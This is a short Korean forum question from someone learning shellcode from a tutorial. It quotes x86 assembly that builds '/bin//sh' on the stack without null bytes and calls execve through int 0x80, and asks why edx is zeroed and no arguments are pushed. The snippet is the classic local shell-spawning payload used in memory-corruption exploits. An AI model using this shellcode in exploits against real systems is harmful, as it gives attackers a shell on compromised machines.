|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1953 [복사]
dalgona 문서 보면서 shellcode 만들기 연습하고 있습니다.
NULL 제거를 위해 다시 쉘코드를 짜는 부분에서 이해가 안가서 질문드립니다.
xor %eax, %eax < 0 대신 eax사용하기 위해
push %eax < NULL
push $0x68732f2f < //sh
push $0x6e69622f < /bin
mov %esp, %ebx < /bin//sh 의 포인터
push %eax < NULL
push %ebx < /bin//sh 의 포인터
mov %esp, %ecx < /bin//sh 의 포인터의 포인터
-----------------------------------
mov %eax, %edx < ????
-----------------------------------
mov $0xb, %al < system call 11 을 하기 위해
int $0x80 < 인터럽트 ( execve 실행 )
???? 부분에는 제가 알기론 execve의 인자들을 push 해야되서
push %eax < NULL
push %ecx < /bin//sh 의 포인터의 포인터
push %ebx < /bin//sh 의 포인터
를 해야 하는데 이것들을 쏙 빼놓고
mov %eax, %edx
만 들어 있어서 당황스럽네요.
왜 인자를 push 하는 과정이 빠졌으며 edx에 0을 넣는 이유는 뭔지 궁금합니다. |
Hit : 2599 Date : 2018/12/22 11:34
|
1576, 
3/79 
